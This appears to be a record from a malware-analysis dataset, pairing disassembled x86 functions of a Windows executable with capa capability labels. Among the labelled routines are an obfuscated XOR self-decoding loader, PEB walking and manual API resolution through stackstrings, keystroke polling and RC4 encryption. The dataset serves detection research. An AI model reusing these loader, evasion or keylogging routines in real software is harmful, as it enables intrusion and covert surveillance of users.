joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40288e
pop dword [ebp - 0x44]
mov eax, 0x129f902e
sub eax, 0x125f67a0
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x63a197cc
add dword [ebp - 0x54], 0xeab0ad7f
mov dword [ebp - 0x50], 0x66975b9
sub dword [ebp - 0x50], 0xd4362974
mov dword [ebp - 0x4c], 0x5eaf5d5a
add dword [ebp - 0x4c], 0xed9ce6d4
mov dword [ebp - 0x48], 0xfb30f37d
add dword [ebp - 0x48], 0x4cf0c83
lea eax, [ebp - 0x54]
push eax
mov eax, 0xd25e4e8b
add eax, 0x2de221d9
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x218ba53
sub dword [ebp - 0x54], 0x8da650fd
mov dword [ebp - 0x50], 0x33217706
add dword [ebp - 0x50], 0xe4aea6f
mov dword [ebp - 0x4c], 0xcec19fae
add dword [ebp - 0x4c], 0x94adccbe
mov dword [ebp - 0x48], 0x1e0ea09
sub dword [ebp - 0x48], 0x1e0ea09
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x8ca7d21
add eax, 0xf775f387
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3958e
push 0
call eax
mov ecx, 0x18fd469d
add ecx, 0xe7030c64
xor esi, esi
add esi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x44]
mov ebx, 0x4af30d66
sub ebx, 0x975f118
mov dword [ebp - 0x34], 0xa18c5012
mov edi, dword [edx]
add dword [ebp - 0x3c], edi
xor edi, ebx
mov dword [ebp - 4], 0xaf697678
mov dword [esi], edi
sub dword [ebp - 0x30], 0x6b2df3c3
add esi, 0x603b9bd0
sub esi, 0x603b9bcc
add edx, 0x2e33ea0d
add edx, 0xd1cc15f7
loop 0x4029ac
add eax, 0x13ed7
mov ebx, eax
add eax, 0xb5c4db9d
add eax, 0x4a3b2468
mov ecx, 0x14a04939
add ecx, 0xeb9fb6c7
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x404ecb
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push 1
push 0x40e47ce0
push 0
call fcn.00404f14
mov eax, str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__WOW64__Trident_5.0_
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404f0e
push ebx
call fcn.0046da72
add esp, 4
mov esp, ebp
pop ebp
ret 4

Function at 0x4588e5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x458908
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x458908
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x458912
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x458954
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x4589b6
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x4589b1
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x45899c
test dl, dl
je 0x458998
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x45899c
add ecx, 2
add eax, 2
test dl, dl
jne 0x45897c
xor eax, eax
jmp 0x4589a1
sbb eax, eax
or eax, 1
test eax, eax
je 0x4589c2
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x458969
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x46904d
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x469101
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00468fdd
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x4690da
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46910d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x469128
test ebp, ebp
je 0x469128
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x469130
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x469170
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4691cc
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x4691c7
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4691b2
test dl, dl
je 0x4691ae
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4691b2
add ecx, 2
add eax, 2
test dl, dl
jne 0x469192
xor eax, eax
jmp 0x4691b7
sbb eax, eax
or eax, 1
test eax, eax
je 0x4691d6
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x46917f
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x4691ed
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0046904d
test eax, eax
jne 0x469205
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0046910d
mov esi, eax
test esi, esi
jne 0x46923b
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x469255
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x46934d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.0046904d
mov esi, eax
test esi, esi
jne 0x46936b
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.0046910d
mov dword [esp + 0x18], eax
test eax, eax
je 0x469363
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.0046910d
mov dword [esp + 0x34], eax
test eax, eax
je 0x469363
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.0046910d
mov dword [esp + 0x28], eax
test eax, eax
je 0x469363
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.0046910d
mov dword [esp + 0x30], eax
test eax, eax
je 0x469363
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x469532
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x469532
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x469495
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x469516
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x4694b8
movzx esi, ax
jmp 0x4694bd
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x4694dc
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x4694eb
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x46953f
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x4694ad
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x469472
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x469568
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x469568
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x46954d
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x46957d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0046904d
mov esi, eax
test esi, esi
je 0x469639
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0046910d
mov ebp, eax
test ebp, ebp
je 0x469638
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0046910d
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x469638
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x469638
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x469637
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x46961d
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret

Function at 0x469989
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x469a3d
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00469919
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x469a16
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x469a49
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x469a64
test ebp, ebp
je 0x469a64
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x469a6c
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x469aac
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x469b08
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x469b03
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x469aee
test dl, dl
je 0x469aea
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x469aee
add ecx, 2
add eax, 2
test dl, dl
jne 0x469ace
xor eax, eax
jmp 0x469af3
sbb eax, eax
or eax, 1
test eax, eax
je 0x469b12
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x469abb
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret

Function at 0x469b29
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.00469989
mov esi, eax
test esi, esi
je 0x469be5
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.00469a49
mov ebp, eax
test ebp, ebp
je 0x469be4
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.00469a49
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x469be4
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x469be4
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x469be3
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x469bc9
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret
Function at 0x47c970
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4fdc6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004f1f39
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x47c9f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004ef5bd
mov eax, dword [eax]
push 0x614e64
push eax
call fcn.004e14d4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004f21c4
test bl, bl
je 0x47c9f2
push 0x614e64
lea ecx, [esp + 0xc]
call fcn.004f2554
push 0x614e70
lea ecx, [esp + 0xc]
call fcn.004f2554
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x47ca2e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004f21c4
jmp 0x47caf9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x47cab2
lea edx, [esp + 0x7c]
push 0x614e6c
push edx
call fcn.004e14d4
add esp, 8
test eax, eax
je 0x47cab2
lea eax, [esp + 0x7c]
push 0x614e68
push eax
call fcn.004e14d4
add esp, 8
test eax, eax
je 0x47cab2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x47ca42
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004f21c4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x47d2f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x47d352
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x47d360
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4fdceb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x620654]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x47d498
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x47d3c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004f21c4
xor eax, eax
jmp 0x47d50f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004f2301
push esi
lea ecx, [esp + 0xc]
call fcn.004f2590
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x47d4ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0047d2f0
test eax, eax
jne 0x47d4ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0047d2f0
test eax, eax
jne 0x47d4ed
lea eax, [esp + 0x14]
push 0x614e80
push eax
call fcn.004e2620
mov esi, eax
add esp, 8
test esi, esi
jne 0x47d4cc
lea ecx, [esp + 0x14]
push 0x614e7c
push ecx
call fcn.004e25a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x47d4cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x47d4cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004f22b1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x47d3de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004f21c4
xor eax, eax
jmp 0x47d50f
mov byte [esi], 0
push 0x614e78
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004f21c4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x490970
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4909de
cmp si, 0x69
ja 0x4909de
add esi, 0xffd0
cmp si, 0x11
je 0x4909ae
push 0x11
call edi
test ax, ax
jge 0x4909ae
or esi, 0x2000
cmp si, 0x10
je 0x4909c3
push 0x10
call edi
test ax, ax
jge 0x4909c3
or esi, 0x4000
cmp si, 0x12
je 0x4909d8
push 0x12
call edi
test ax, ax
jge 0x4909d8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4909eb
mov esi, 0xbd
jmp 0x49099f
cmp si, 0x6e
jne 0x4909f8
mov esi, 0xbe
jmp 0x49099f
cmp si, 0x6f
jne 0x490999
mov esi, 0xbf
jmp 0x49099f

Function at 0x492370
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x630fc8]
xor edx, edx
cmp eax, edx
jne 0x492396
xor eax, eax
mov byte [eax + 0x630ec8], al
inc eax
cmp eax, 0x100
jl 0x49237e
mov dword [0x630fc8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x630ec8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x492427
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4923fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4923c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4924a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4924f3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4924da
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
